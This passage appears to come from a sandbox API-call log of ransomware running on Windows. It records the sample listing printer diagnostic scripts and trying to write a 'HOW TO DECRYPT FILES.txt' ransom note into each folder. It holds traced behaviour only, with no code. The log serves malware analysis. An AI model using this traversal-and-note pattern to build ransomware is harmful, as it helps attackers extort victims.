ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0x0, dwReserved1=0x0, cFileName="TS_HomeGroup.ps1", cAlternateFileName="")) returned 1 [0126.907] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.908] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Printer\\TS_DefaultPrinter.ps1") returned="TS_DefaultPrinter.ps1" [0126.908] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Printer\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\") returned="C:\\Windows\\diagnostics\\system\\Printer\\" [0126.908] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Printer\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Printer\\") returned="" [0126.908] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\Printer\\HOW TO DECRYPT FILES.txt" [0126.908] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\Printer\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\printer\\how to decrypt files.txt")) returned 0xffffffff [0126.908] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\Printer\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\printer\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.909] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.909] CloseHandle (hObject=0xffffffff) returned 0 [0126.909] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\", lpString2="TS_HomeGroup.ps1" | out: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\TS_HomeGroup.ps1") returned="C:\\Windows\\diagnostics\\system\\Printer\\TS_HomeGroup.ps1" [0126.909] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe83dfaa, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xe83dfaa, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xdb67842b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x44c, dwReserved0=0x0, dwReserved1=0x0, cFileName="TS_NoPrinterInstalled.ps1", cAlternateFileName="")) returned 1 [0126.909] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.909] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Printer\\TS_HomeGroup.ps1") returned="TS_HomeGroup.ps1" [0126.909] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Printer\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\") returned="C:\\Windows\\diagnostics\\system\\Printer\\" [0126.909] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Printer\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Printer\\") returned="" [0126.910] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\Printer\\HOW TO DECRYPT FILES.txt" [0126.910] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\Printer\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\printer\\how to decrypt files.txt")) returned 0xffffffff [0126.910] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\Printer\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\printer\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.910] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.910] CloseHandle (hObject=0xffffffff) returned 0 [0126.910] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\", lpString2="TS_NoPrinterInstalled.ps1" | out: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\TS_NoPrinterInstalled.ps1") returned="C:\\Windows\\diagnostics\\system\\Printer\\TS_NoPrinterInstalled.ps1" [0126.910] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe864107, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xe864107, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xdb75cc5f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x297, dwReserved0=0x0, dwReserved1=0x0, cFileName="TS_OutOfPaper.ps1", cAlternateFileName="")) returned 1 [0126.910] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.911] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Printer\\TS_NoPrinterInstalled.ps1") returned="TS_NoPrinterInstalled.ps1" [0126.911] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Printer\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\") returned="C:\\Windows\\diagnostics\\system\\Printer\\" [0126.911] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Printer\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Printer\\") returned="" [0126.911] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\Printer\\HOW TO DECRYPT FILES.txt" [0126.911] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\Printer\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\printer\\how to decrypt files.txt")) returned 0xffffffff [0126.911] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\Printer\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\printer\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.911] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.911] CloseHandle (hObject=0xffffffff) returned 0 [0126.911] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\", lpString2="TS_OutOfPaper.ps1" | out: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\TS_OutOfPaper.ps1") returned="C:\\Windows\\diagnostics\\system\\Printer\\TS_OutOfPaper.ps1" [0126.912] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe864107, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xe864107, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xdb75cc5f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="TS_OutOfToner.ps1", cAlternateFileName="")) returned 1 [0126.912] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.912] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Printer\\TS_OutOfPaper.ps1") returned="TS_OutOfPaper.ps1" [0126.912] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Printer\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\") returned="C:\\Windows\\diagnostics\\system\\Printer\\" [0126.912] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Printer\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Printer\\") returned="" [0126.912] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\Printer\\HOW TO DECRYPT FILES.txt" [0126.912] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\Printer\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\printer\\how to decrypt files.txt")) returned 0xffffffff [0126.912] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\Printer\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\printer\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.913] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.913] CloseHandle (hObject=0xffffffff) returned 0 [0126.913] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\", lpString2="TS_OutOfToner.ps1" | out: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\TS_OutOfToner.ps1") returned="C:\\Windows\\diagnostics\\system\\Printer\\TS_OutOfToner.ps1" [0126.913] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe88a264, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xe88a264, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xdb782dbd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x28e, dwReserved0=0x0, dwReserved1=0x0, cFileName="TS_PaperJam.ps1", cAlternateFileName="")) returned 1 [0126.913] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.913] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Printer\\TS_OutOfToner.ps1") returned="TS_OutOfToner.ps1" [0126.913] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Printer\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\") returned="C:\\Windows\\diagnostics\\system\\Printer\\" [0126.913] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Printer\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Printer\\") returned="" [0126.913] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\Printer\\HOW TO DECRYPT FILES.txt" [0126.913] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\Printer\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\printer\\how to decrypt files.txt")) returned 0xffffffff [0126.913] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\Printer\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\printer\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.914] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.914] CloseHandle (hObject=0xffffffff) returned 0 [0126.914] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\", lpString2="TS_PaperJam.ps1" | out: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\TS_PaperJam.ps1") returned="C:\\Windows\\diagnostics\\system\\Printer\\TS_PaperJam.ps1" [0126.914] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8b03c1, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xe8b03c1, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xdb841493, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="TS_PrinterDriver.ps1", cAlternateFileName="")) returned 1 [0126.914] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.914] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Printer\\TS_PaperJam.ps1") returned="TS_PaperJam.ps1" [0126.914] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Printer\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\") returned="C:\\Windows\\diagnostics\\system\\Printer\\" [0126.915] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Printer\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Printer\\") returned="" [0126.915] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\Printer\\HOW TO DECRYPT FILES.txt" [0126.915] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\Printer\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\printer\\how to decrypt files.txt")) returned 0xffffffff [0126.915] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\Printer\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\printer\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.915] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.915] CloseHandle (hObject=0xffffffff) returned 0 [0126.915] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\", lpString2="TS_PrinterDriver.ps1" | out: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\TS_PrinterDriver.ps1") returned="C:\\Windows\\diagnostics\\system\\Printer\\TS_PrinterDriver.ps1" [0126.916] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8b03c1, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xe8b03c1, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xdb841493, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x369, dwReserved0=0x0, dwReserved1=0x0, cFileName="TS_PrinterDriverError.ps1", cAlternateFileName="")) returned 1 [0126.916] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.916] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Printer\\TS_PrinterDriver.ps1") returned="TS_PrinterDriver.ps1" [0126.916] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Printer\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\") returned="C:\\Windows\\diagnostics\\system\\Printer\\" [0126.916] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Printer\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Printer\\") returned="" [0126.916] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\Printer\\HOW TO DECRYPT FILES.txt" [0126.916] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\Printer\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\printer\\how to decrypt files.txt")) returned 0xffffffff [0126.916] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\Printer\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\printer\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.916] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.917] CloseHandle (hObject=0xffffffff) returned 0 [0126.917] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\", lpString2="TS_PrinterDriverError.ps1" | out: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\TS_PrinterDriverError.ps1") returned="C:\\Windows\\diagnostics\\system\\Printer\\TS_PrinterDriverError.ps1" [0126.917] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8d651e, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xe8d651e, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xdb841493, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="TS_PrinterTurnedOff.ps1", cAlternateFileName="")) returned 1 [0126.917] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.917] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Printer\\TS_PrinterDriverError.ps1") returned="TS_PrinterDriverError.ps1" [0126.917] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Printer\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\") returned="C:\\Windows\\diagnostics\\system\\Printer\\" [0126.917] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Printer\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Printer\\") returned="" [0126.917] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\Printer\\HOW TO DECRYPT FILES.txt" [0126.917] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\Printer\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\printer\\how to decrypt files.txt")) returned 0xffffffff [0126.917] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\Printer\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\printer\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.918] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.918] CloseHandle (hObject=0xffffffff) returned 0 [0126.918] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\", lpString2="TS_PrinterTurnedOff.ps1" | out: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\TS_PrinterTurnedOff.ps1") returned="C:\\Windows\\diagnostics\\system\\Printer\\TS_PrinterTurnedOff.ps1" [0126.918] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8d651e, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xe8d651e, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xdb841493, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xfc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="TS_PrintJobsStuck.ps1", cAlternateFileName="")) returned 1 [0126.918] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.918] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Printer\\TS_PrinterTurnedOff.ps1") returned="TS_PrinterTurnedOff.ps1" [0126.918] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Printer\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\") returned="C:\\Windows\\diagnostics\\system\\Printer\\" [0126.918] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Printer\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Printer\\") returned="" [0126.919] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\Printer\\HOW TO DECRYPT FILES.txt" [0126.919] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\Printer\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\printer\\how to decrypt files.txt")) returned 0xffffffff [0126.919] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\Printer\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\printer\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.919] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.919] CloseHandle (hObject=0xffffffff) returned 0 [0126.919] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\", lpString2="TS_PrintJobsStuck.ps1" | out: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\TS_PrintJobsStuck.ps1") returned="C:\\Windows\\diagnostics\\system\\Printer\\TS_PrintJobsStuck.ps1" [0126.919] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9227d8, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xe9227d8, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xdb8675f1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x53f, dwReserved0=0x0, dwReserved1=0x0, cFileName="TS_SpoolerCrashing.ps1", cAlternateFileName="")) returned 1 [0126.919] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.920] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Printer\\TS_PrintJobsStuck.ps1") returned="TS_PrintJobsStuck.ps1" [0126.920] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Printer\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\") returned="C:\\Windows\\diagnostics\\system\\Printer\\" [0126.920] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Printer\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Printer\\") returned="" [0126.920] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\Printer\\HOW TO DECRYPT FILES.txt" [0126.920] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\Printer\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\printer\\how to decrypt files.txt")) returned 0xffffffff [0126.920] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\Printer\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\printer\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.920] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.920] CloseHandle (hObject=0xffffffff) returned 0 [0126.920] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\", lpString2="TS_SpoolerCrashing.ps1" | out: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\TS_SpoolerCrashing.ps1") returned="C:\\Windows\\diagnostics\\system\\Printer\\TS_SpoolerCrashing.ps1" [0126.921] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9227d8, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xe9227d8, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xdb88d74f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x23f, dwReserved0=0x0, dwReserved1=0x0, cFileName="TS_SpoolerService.ps1", cAlternateFileName="")) returned 1 [0126.921] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.921] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Printer\\TS_SpoolerCrashing.ps1") returned="TS_SpoolerCrashing.ps1" [0126.921] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Printer\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\") returned="C:\\Windows\\diagnostics\\system\\Printer\\" [0126.921] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Printer\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Printer\\") returned="" [0126.921] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\Printer\\HOW 